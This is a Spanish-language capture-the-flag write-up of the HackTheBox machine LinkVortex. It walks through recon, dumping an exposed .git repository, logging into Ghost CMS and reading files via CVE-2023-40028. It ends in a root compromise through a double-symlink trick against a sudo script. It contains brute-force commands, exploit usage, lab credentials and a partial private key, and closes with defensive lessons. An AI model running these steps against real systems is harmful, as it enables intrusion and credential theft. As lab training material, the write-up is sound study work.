LinkVortex
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. LinkVortex es una máquina Linux fácil construida sobre Ghost CMS 5.58. Un subdominio de desarrollo expone un/.git, así que clonamos el repositorio y en un commit aparece una contraseña. Esa credencial abre el panel de Ghost cambiando el dominio del correo, y desde ahí la CVE-2023-40028 permite leer ficheros arbitrarios subiendo un enlace simbólico. Leemosconfig.production.json, sacamos las credenciales deboby las reutilizamos por SSH.bobpuede ejecutar porsudoun script que limpia enlaces simbólicos, y con un doble symlink más la variableCHECK_CONTENTleemos lo que queramos como root.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.4764 bytes from 10.10.11.47: icmp_seq=1 ttl=63 time=37.9 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
El escaneo se apoya en tres funciones definidas en el .zshrc. Ahorran teclear, pero también esconden el comando real, así que van acompañadas de su código: la idea es que el escaneo se pueda reproducir sin tenerlas instaladas.
La primera, jmap, pide una IP y lanza un escaneo TCP de los 65535 puertos:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es decir, el comando equivalente sin la función es:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.47 -oG scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 15:52 CET
Initiating SYN Stealth Scan at 15:52
Scanning 10.10.11.47 [65535 ports]
Discovered open port 22/tcp on 10.10.11.47
Discovered open port 80/tcp on 10.10.11.47
Completed SYN Stealth Scan at 15:52, 15.08s elapsed (65535 total ports)
Nmap scan report for 10.10.11.47
Host is up, received user-set (0.10s latency).
Not shown: 61288 closed tcp ports (reset), 4245 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63Solo dos puertos, y la columna REASON confirma por segunda vía el ttl 63 que ya vimos en el ping. Los 4245 puertos filtered (no-response) frente a 61288 closed (reset) son ruido de la VPN: un puerto realmente cerrado contesta con un RST, así que lo que no responde es latencia, no un cortafuegos que filtre por política.
La segunda función, extractPorts, no escanea nada: parsea el fichero scan que dejó la anterior en formato grepable y deja los puertos listos en el portapapeles.
extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}extractPorts scan
Extracting information...
IP Address: 10.10.11.47
Open ports: 22,80
Ports copied to clipboard
IP Address: 10.10.11.47
Open ports: 22,80Y la tercera, jmap2, lanza el escaneo de versiones y scripts por defecto solo contra esos dos puertos:
jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <puertos>"
return 1
fi
local ip="$1"
local puertos="$2"
nmap -p"$puertos" -sCV "$ip"
}nmap -p22,80 -sCV 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/Virtual hosting
El script http-title no llega a leer el título porque el servidor redirige a http://linkvortex.htb/. Apache sirve por virtual hosting: elige el sitio según la cabecera Host, y con la IP pelada no devuelve nada útil. Para que el navegador resuelva ese nombre lo añadimos al fichero de hosts local.
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.47 linkvortex.htbEl sitio web - TCP 80
whatweb describe la pila de un vistazo, y ya deja caer lo importante en el MetaGenerator.
whatweb http://linkvortex.htb
http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache],
IP[10.10.11.47], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website],
PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware],
X-Powered-By[Express], X-UA-Compatible[IE=edge]Tres datos que valen: el sitio se llama BitByBit Hardware, el X-Powered-By: Express indica que detrás hay Node.js (no PHP), y el MetaGenerator canta la versión exacta del CMS: Ghost 5.58. La extensión wappalyzer en el navegador lo confirma con su ficha.

Una versión concreta y publicada de un CMS es siempre el primer sitio donde mirar: es el vector más directo que existe, buscar exploits para esa versión.
Enumeración de rutas
Un fuzzing de directorios con dirsearch sobre el sitio principal. La cosecha es corta pero incluye el fichero que va a marcar el camino.
dirsearch -u http://linkvortex.htb --exclude-status=404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://linkvortex.htb/
[16:19:50] 301 - 179B - /assets -> /assets/
[16:19:51] 301 - 0B - /axis/happyaxis.jsp -> /axis/happyaxis.jsp/
<SNIP: una decena de 301 de 0 bytes hacia rutas .jsp y .swf que no existen>
[16:20:05] 200 - 15KB - /favicon.ico
[16:20:12] 200 - 1KB - /LICENSE
[16:20:29] 200 - 103B - /robots.txt
[16:20:30] 403 - 199B - /server-status
[16:20:32] 200 - 250B - /sitemap.xml
Task CompletedLos 301 de 0 bytes hacia /axis/happyaxis.jsp o /engine/classes/swfupload/ son ruido: Ghost redirige cualquier ruta desconocida en lugar de devolver 404, así que el diccionario "acierta" siempre. Es un patrón que conviene reconocer para no perder tiempo persiguiéndolo.
Un segundo barrido con gobuster, esta vez descartando explícitamente los códigos de ese ruido, deja el resultado en su mínima expresión y confirma que ahí no hay nada más:
gobuster dir -u http://linkvortex.htb -w directory-list-2.3-medium.txt -b 404,403,301
[+] Negative Status codes: 404,403,301
[+] Wordlist: directory-list-2.3-medium.txt
Starting gobuster in directory enumeration mode
/LICENSE (Status: 200) [Size: 1065]
Progress: 220560 / 220561 (100.00%)
Finishedrobots.txt: cuatro rutas que el sitio prefiere esconder
Ese robots.txt de 103 bytes es pequeño y muy informativo. No es un control de seguridad: es una lista de sitios que el administrador no quiere que indexen, y por tanto un mapa de lo que le importa.

User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r//p/, /email/ y /r/: tres callejones comprobados
Tres de esas cuatro rutas no dan nada, y merece la pena enseñarlo porque descartar también es trabajo. Las tres devuelven el mismo 404 del tema de Ghost, y una enumeración dentro de cada una solo repite el ruido de redirecciones que ya conocemos.

dirsearch -u http://linkvortex.htb/p --exclude-status=404,403
[16:36:45] Starting: p/
[16:36:48] 301 - 0B - /p/%2e%2e//google.com -> /google.com/
[16:37:15] 301 - 0B - /p/axis/happyaxis.jsp -> /p/axis/happyaxis.jsp/
<SNIP: el resto son las mismas rutas .jsp y .swf, todas 301 de 0 bytes>
Task Completed
dirsearch -u http://linkvortex.htb/email --exclude-status=404,403
[16:40:35] Starting: email/
[16:40:38] 301 - 0B - /email/%2e%2e//google.com -> /google.com/
[16:41:02] 301 - 0B - /email/axis/happyaxis.jsp -> /email/axis/happyaxis.jsp/
<SNIP: idéntico al anterior>
Task Completed
dirsearch -u http://linkvortex.htb/r --exclude-status=404,403
[16:43:28] Starting: r/
[16:43:30] 301 - 0B - /r/%2e%2e//google.com -> /google.com/
[16:43:57] 301 - 0B - /r/axis/happyaxis.jsp -> /r/axis/happyaxis.jsp/
<SNIP: idéntico a los dos anteriores>
Task CompletedTres enumeraciones, tres resultados idénticos y ninguno útil. /p/, /email/ y /r/ son rutas internas de Ghost (previsualización de borradores, enlaces de boletín y redirecciones de clics) que solo responden con un identificador válido detrás. Descartadas.
/ghost: el panel de administración
La cuarta sí. /ghost es el panel de Ghost, y ahí hay un formulario de inicio de sesión pidiendo correo y contraseña.

Fuerza bruta con hydra: un falso positivo de manual
Ante un panel, el reflejo es probar fuerza bruta contra el endpoint de sesión de la API de administración.
hydra -l admin@linkvortex.htb -P <rockyou.txt> "http-post-form://linkvortex.htb/ghost/api/v3/admin/session:username=^USER^&password=^PASS^:Invalid username or password" -t 64 -I
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344412 login tries (l:1/p:14344412), ~224132 tries per task
[DATA] attacking http-post-form://linkvortex.htb:80/ghost/api/v3/admin/session:...
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: admin
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: 12345
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: 123456
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: 123456789
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: 1234567
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: password
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: abc123
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: princess
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: daniel
[80][http-post-form] host: linkvortex.htb login: admin@linkvortex.htb password: babygirlEsa salida no es una victoria, es la señal de que algo va mal. Una contraseña buena es una, no diez seguidas, y desde luego no las diez primeras del rockyou.txt. Lo que ocurre es que el panel limita los intentos: pasado el umbral empieza a responder 429 Too Many Requests, y como esa respuesta ya no contiene la cadena Invalid username or password que hydra busca para saber que ha fallado, la herramienta la interpreta como acierto. hydra no comprueba el código de estado, solo la cadena que le hemos dicho.
Recargar el panel a mano lo confirma sin ambigüedad:

Sign in to BitByBit Hardware.
Email address: admin@linkvortex.htb
✕ Retry
Too many attempts try again in an hourVía descartada, y con una lección práctica: al configurar hydra contra un panel moderno hay que verificar a mano el primer positivo antes de darlo por bueno.
CVE-2024-43409: la pista que no llevó a ninguna parte
Con la versión en la mano toca buscar vulnerabilidades conocidas. La base de datos de Snyk devuelve una para esta rama de Ghost.

Control de acceso inadecuado
Afecta al paquete ghost, versiones >=4.46.0 <5.89.5
CVE-2024-43409 · CWE-284 · Gravedad 6.9 (MEDIO)
¿Cómo solucionarlo? Actualice ghost a la versión 5.89.5 o superior.
Las versiones afectadas de este paquete son vulnerables a un control de acceso inadecuado a través
de algunos puntos finales utilizados para acciones de miembros. Un atacante puede realizar acciones
exclusivas de miembros y leer información de miembros aprovechando el mecanismo de autenticación
inadecuado.Encaja con la versión, pero no se localizó ningún PoC utilizable, y además el alcance es limitado: lee información de miembros, no ficheros del sistema. Se anota y se sigue por otro lado. En este punto queda un frente sin explorar: los subdominios.
Fuzzing de vhosts: aparece dev.linkvortex.htb
Si el servidor decide qué sitio devolver según la cabecera Host, se puede preguntar por nombres inventados a ver cuál existe (fuzzing de virtual hosts). gobuster en modo vhost con el diccionario de rutas web, filtrando los códigos de la respuesta por defecto:
gobuster vhost -u http://linkvortex.htb -w directory-list-2.3-medium.txt -t 200 --append-domain | grep -vE "(301|400)"
Starting gobuster in VHOST enumeration mode
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
Found: Dev.linkvortex.htb Status: 200 [Size: 2538]
Found: DEV.linkvortex.htb Status: 200 [Size: 2538]
Progress: 220560 / 220561 (100.00%)
FinishedEl mismo resultado con wfuzz, que es otra herramienta habitual para lo mismo y sirve de comprobación cruzada. Aquí el filtro se hace por código (--hc=301,400):
wfuzz -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -w directory-list-2.3-medium.txt --hc=301,400 -t 200
Target: http://linkvortex.htb/
Total requests: 220560
ID Response Lines Word Chars Payload
000000835: 200 115 L 255 W 2538 Ch "dev"
000057774: 200 115 L 255 W 2538 Ch "Dev"
000133933: 200 115 L 255 W 2538 Ch "DEV"Las tres variantes (dev, Dev, DEV) devuelven exactamente 2538 caracteres porque los nombres de dominio son insensibles a mayúsculas: son la misma respuesta contada tres veces, no tres vhosts. El hallazgo es uno: dev.linkvortex.htb. Al /etc/hosts, en la misma línea:
sudo nano /etc/hosts
10.10.11.47 linkvortex.htb dev.linkvortex.htbAcceso al panel de Ghost
El subdominio de desarrollo
Lo que sirve dev.linkvortex.htb es una página de "próximamente", sin funcionalidad ninguna. Su código fuente tampoco tiene nada. Pero eso no lo hace irrelevante: un entorno de desarrollo suele arrastrar configuraciones y ficheros que producción ya no tiene, precisamente porque nadie lo revisa con el mismo cuidado.

LAUNCHING SOON
Our website is under construction. We'll be here soon with our new and exciting site./.git expuesto
La enumeración de rutas sobre el subdominio da lo que la página no daba: un directorio /.git accesible por HTTP.
dirsearch -u http://dev.linkvortex.htb/ --exclude-status=404,403,302
Target: http://dev.linkvortex.htb/
[18:25:52] Starting:
[18:25:56] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[18:25:56] 200 - 557B - /.git/
[18:25:56] 200 - 201B - /.git/config
[18:25:56] 200 - 73B - /.git/description
[18:25:56] 200 - 41B - /.git/HEAD
[18:25:56] 200 - 620B - /.git/hooks/
[18:25:56] 200 - 402B - /.git/info/
[18:25:56] 200 - 240B - /.git/info/exclude
[18:25:56] 200 - 401B - /.git/logs/
[18:25:56] 200 - 175B - /.git/logs/HEAD
[18:25:56] 200 - 418B - /.git/objects/
[18:25:56] 200 - 147B - /.git/packed-refs
[18:25:56] 200 - 393B - /.git/refs/
[18:25:56] 200 - 691KB - /.git/index
Task CompletedNo es solo que el directorio exista: responden 200 los ficheros internos (HEAD, config, packed-refs) y los listados de objects/ y logs/. Con eso se puede reconstruir el repositorio entero. Un repositorio Git servido por la web es una fuga de código fuente completa: no solo los ficheros actuales, sino todo el historial, con lo que el desarrollador escribió, borró y creyó olvidado.
Volcar el repositorio
wget en modo recursivo se descarga el árbol entero siguiendo el listado de directorios que Apache genera.
wget -r http://dev.linkvortex.htb/.git/
--2024-12-29 19:04:44-- http://dev.linkvortex.htb/.git/
Resolving dev.linkvortex.htb (dev.linkvortex.htb) ... 10.10.11.47
Connecting to dev.linkvortex.htb (dev.linkvortex.htb)|10.10.11.47|:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2796 (2.7K) [text/html]
Saving to: 'dev.linkvortex.htb/.git/index.html'
2024-12-29 19:04:44 (253 MB/s) - 'dev.linkvortex.htb/.git/index.html' saved [2796/2796]
Loading robots.txt; please ignore errors.
--2024-12-29 19:04:44-- http://dev.linkvortex.htb/robots.txt
HTTP request sent, awaiting response ... 404 Not Found
2024-12-29 19:04:44 ERROR 404: Not Found.El 404 del robots.txt no es un problema: wget lo pide siempre antes de empezar a rastrear, y él mismo avisa de que se puede ignorar.
Contraseña en un commit
Con el repositorio en local, git diff --staged enseña los cambios preparados y todavía no confirmados. Ahí está el premio.
cd dev.linkvortex.htb/.git
git diff --staged
diff --git a/Dockerfile.ghost b/Dockerfile.ghost
+FROM ghost:5.58.0
+
+# Copy the config
+COPY config.production.json /var/lib/ghost/config.production.json
+
+# Prevent installing packages
+RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt ...
+
+# Wait for the db to be ready first
+COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
+COPY entry.sh /entry.sh
+ENTRYPOINT ["/entry.sh"]
+CMD ["node", "current/index.js"]
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/...
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';Dos hallazgos en el mismo diff. El Dockerfile.ghost confirma la versión exacta (FROM ghost:5.58.0) y revela que el CMS corre dentro de un contenedor, con la configuración copiada a /var/lib/ghost/config.production.json. Y el fichero de pruebas de autenticación cambia una contraseña de ejemplo por otra: OctopiFociPilfer45. Es el clásico "meto la contraseña real en un test para que pase", y el clásico que acaba publicado.
Iniciar sesión cambiando el dominio del correo
El correo que acompaña a esa contraseña en el test es test@example.com. Probado tal cual en el panel, Ghost es explícito:

Email address: test@example.com
✕ Retry
There is no user with that email address.Ese mensaje es una fuga en sí mismo, porque distingue entre "el usuario no existe" y "la contraseña no vale", y eso permite enumerar cuentas. Aquí nos sirve como oráculo: significa que el correo está mal, no la contraseña. Y el correo de administración de un Ghost suele seguir el dominio del propio sitio, así que probamos admin@linkvortex.htb con la misma contraseña.
admin@linkvortex.htb : OctopiFociPilfer45
Dentro. El panel de administración carga con los posts del blog y la barra lateral completa.

Dashboard · BitByBit Hardware
Recent posts: The Power Supply · The CMOS · The Video Graphics Array
The Random Access Memory · The Motherboard
Members: 0Lectura de ficheros: CVE-2023-40028
Con sesión válida cambia el abanico de vulnerabilidades disponibles: ya no buscamos un bypass de autenticación, buscamos qué puede hacer un usuario autenticado que no debería. Y Ghost 5.58 arrastra la CVE-2023-40028.
Existe una prueba de concepto pública, y su propio README resume la vulnerabilidad en una frase.

0xyassine / CVE-2023-40028 (Public)
CVE-2023-40028.sh first commit
README.md Update README.md
CVE-2023-40028 Proof of Concept
This repository contains a proof of concept (POC) for CVE-2023-40028, demonstrating a vulnerability
in the Ghost content management system where authenticated users can upload symlinks, leading to
arbitrary file read vulnerabilities.La idea es sencilla y elegante: Ghost permite importar contenido en un .zip, y un .zip puede contener enlaces simbólicos. Si dentro del comprimido metemos un enlace que apunta a /etc/passwd, Ghost lo descomprime tal cual y, al pedir ese "fichero" de vuelta, sirve el contenido del destino. Es una lectura de ficheros arbitraria (LFI) con las credenciales que ya tenemos.
El exploit
git clone https://github.com/0xyassine/CVE-2023-40028.git
Cloning into 'CVE-2023-40028' ...
remote: Enumerating objects: 7, done.
remote: Total 7 (delta 1), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
Resolving deltas: 100% (1/1), done.Antes de ejecutarlo, leerlo. Es un script de shell con una cabecera que documenta el alcance y, sobre todo, una variable que hay que ajustar: la URL del Ghost objetivo viene con el valor del laboratorio del autor.
nano CVE-2023-40028.sh
#!/bin/bash
# Exploit Title: Ghost Arbitrary File Read
# Date: 10-03-2024
# Exploit Author: Mohammad Yassine
# Vendor Homepage: https://ghost.org/
# Version: BEFORE [ 5.59.1 ]
# Tested on: [ debian 11 bullseye ghost docker image ]
# CVE : CVE-2023-40028
#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'
PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zipLa cabecera confirma dos cosas que ya sabíamos por otro camino: afecta a versiones anteriores a 5.59.1 (la nuestra es 5.58) y el autor lo probó contra una imagen Docker de Ghost, igual que el Dockerfile.ghost que vimos en el repositorio.
Leer ficheros
El script abre una consola interactiva que pide rutas. El primer intento con cinco ../ se queda corto y Ghost devuelve su página de error; con seis sale /etc/passwd.
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> ../../../../../etc/passwd
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Error</title></head>
<body><pre>Not Found</pre></body>
</html>
file> ../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
node:x:1000:1000::/home/node:/bin/bash
file>Ese /etc/passwd tiene una ausencia muy elocuente: no aparece bob por ninguna parte, y sí un usuario node con UID 1000. No estamos leyendo el sistema de ficheros de la máquina, estamos leyendo el interior del contenedor donde corre Ghost, coherente con el Dockerfile.ghost del repositorio. Eso acota lo que podemos alcanzar, y también nos dice dónde buscar: la configuración que el Dockerfile copiaba.
Ajustando la profundidad (dentro del contenedor la raíz está mucho más cerca) llegamos al fichero de configuración de Ghost, que guarda las credenciales del servidor de correo.
file> ../../../config.production.json
{
"url": "http://localhost:2368",
"server": { "port": 2368, "host": "::" },
"spam": {
"user_login": { "minWait": 1, "maxWait": 604800000, "freeRetries": 5000 }
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}De paso se ve el bloque spam.user_login, que es justamente el limitador de intentos que hizo descarrilar a hydra. Pero lo que buscábamos está en mail.options.auth: bob@linkvortex.htb : fibber-talented-worth.
Shell como bob
Una contraseña guardada para el SMTP no tiene por qué servir para nada más, pero la reutilización de credenciales es tan habitual que siempre se prueba. Y aquí abre el SSH:
ssh bob@linkvortex.htb
bob@linkvortex.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Dec 29 22:34:25 2024 from 10.10.15.39
bob@linkvortex:~$ cat user.txt
06a7c44540a12408586f6687938b6071Estamos dentro como bob, esta vez en la máquina anfitriona y no en el contenedor.
Shell como root
sudo -l: limpiar enlaces simbólicos
Lo primero al aterrizar en una shell es situarse: quién somos, dónde estamos y qué podemos hacer de más.
hostname -I
whoami
uname -r
id
sudo -l
bob@linkvortex:~$ hostname -I
10.10.11.47 172.17.0.1 172.20.0.1
bob@linkvortex:~$ whoami
bob
bob@linkvortex:~$ uname -r
6.5.0-27-generic
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=..., use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngLas direcciones 172.17.0.1 y 172.20.0.1 son las pasarelas de dos redes de Docker: confirman desde dentro lo que dedujimos por el /etc/passwd del exploit. bob no pertenece a ningún grupo interesante.
Y ahí está el vector. Dos detalles del sudo -l importan tanto como el propio script. El primero, env_keep+=CHECK_CONTENT: por defecto sudo limpia el entorno (env_reset), pero esa directiva hace una excepción y deja pasar esa variable concreta. Que alguien se moleste en conservar una variable es señal de que el script la usa. El segundo, el comodín *.png: podemos pasar la ruta que queramos mientras termine en .png.
El script y su grieta
cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fiLeído entero, el script se entiende de una sentada. Recibe un fichero, exige que acabe en .png, comprueba que sea un enlace simbólico y mira su destino con readlink. Si ese destino contiene las cadenas etc o root, considera que alguien intenta leer ficheros críticos y borra el enlace. Si no, lo mueve a /var/quarantined y, solo si CHECK_CONTENT vale true, imprime su contenido con cat. Como la variable se inicializa a false únicamente cuando llega vacía, y sudo la conserva por env_keep, la decide quien invoca el script. Es decir, nosotros.
Queda el filtro. Y aquí está la grieta: readlink no resuelve la cadena completa, devuelve solo el primer salto. Con dos enlaces encadenados el control mira un destino inocente mientras el cat final, que sí resuelve toda la cadena porque lo hace el propio sistema de ficheros, acaba abriendo el fichero prohibido.
El montaje del doble enlace simbólico necesita además que el eslabón intermedio no lleve .png, porque el script exige esa extensión solo en el argumento:
pwn.txt→/root/root.txt(el enlace que de verdad interesa).pwn.png→pwn.txt(el que le pasamos: acaba en.pngy su destino,/home/bob/pwn.txt, no contiene nietcniroot).
ln -s /root/root.txt /home/bob/pwn.txt
ln -s /home/bob/pwn.txt /home/bob/pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
208088e89eaac9d6badfe8e42e82b61fEl propio mensaje del script (Link found ... moving it to quarantine en lugar de Trying to read critical files) certifica que el filtro se ha tragado el engaño.
De leer la flag a ser root
Leer root.txt cierra la máquina en HackTheBox, pero no da una shell. La misma técnica apuntando a la clave privada SSH de root sí. El tail -n +3 recorta las dos líneas que el script imprime antes del contenido (Link found ... y Content:), que si no corromperían la clave.
ln -s /root/.ssh/id_rsa /home/bob/pwn.txt
ln -s /home/bob/pwn.txt /home/bob/pwn.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png | tail -n +3 > id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAyaWiVDPHnrbHxTYPZjM1YdRSFEQpisIvJmnzPXBM+nEFY0kSGdzZ
<SNIP>
-----END OPENSSH PRIVATE KEY-----Con la clave en la mano, conectamos por SSH contra la propia máquina. Ni siquiera hace falta sacarla fuera: root@localhost desde la sesión de bob funciona igual.
ssh -i id_rsa root@localhost
bob@linkvortex:~$ ssh -i id_rsa root@localhost
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
Last login: Tue Dec 31 00:59:54 2024 from 127.0.0.1
root@linkvortex:~# ls
root.txt
root@linkvortex:~# cat root.txt
208088e89eaac9d6badfe8e42e82b61fShell completa como root. Máquina comprometida.

Cadena de ataque
web :80 (Ghost 5.58) → vhost fuzz → dev.linkvortex.htb → /.git expuesto
│ wget -r .git → git diff --staged → OctopiFociPilfer45
▼
/ghost login (test@example.com ✗ → admin@linkvortex.htb ✓)
│
▼
CVE-2023-40028 (lectura de ficheros por symlink dentro del contenedor)
│ config.production.json → bob:fibber-talented-worth
▼
ssh bob → sudo clean_symlink.sh *.png + env_keep CHECK_CONTENT
│ pwn.png → pwn.txt → /root/.ssh/id_rsa (readlink solo ve el primer salto)
▼
ssh -i id_rsa root@localhost → rootLecciones aprendidas
- Un
/.gitaccesible es el código fuente y su historial al completo. El subdominio de desarrollo filtraba el repositorio, y un commit guardaba una contraseña real en un fichero de tests. Nunca servir.gitdesde la web ni versionar secretos: si ya entraron al historial, rotarlos. - Un positivo de fuerza bruta hay que verificarlo a mano.
hydramarcó como válidas las diez primeras contraseñas derockyou.txtporque el429del limitador de intentos no contenía la cadena de error que buscaba. Diez aciertos seguidos nunca son diez aciertos. - Los mensajes de error diferenciados enumeran cuentas. "There is no user with that email address" nos dijo que el fallo estaba en el correo y no en la contraseña, y de ahí salió
admin@linkvortex.htb. Un panel bien hecho devuelve el mismo mensaje en ambos casos. - Cuidado con las versiones que arrastran CVEs conocidas. Ghost 5.58 permitía la lectura arbitraria de ficheros a cualquier usuario autenticado. Y el contenedor limitó el daño (leímos el interior de la imagen, no el anfitrión), pero no lo evitó: la configuración copiada dentro llevaba credenciales que sí valían fuera.
- Validar el enlace, no solo su primer salto. El script de
sudocomprobaba el destino directo conreadlink; un segundo enlace burlaba el filtro. Resolver la ruta real (readlink -f) antes de decidir, y desconfiar de las variables de entorno conservadas conenv_keep.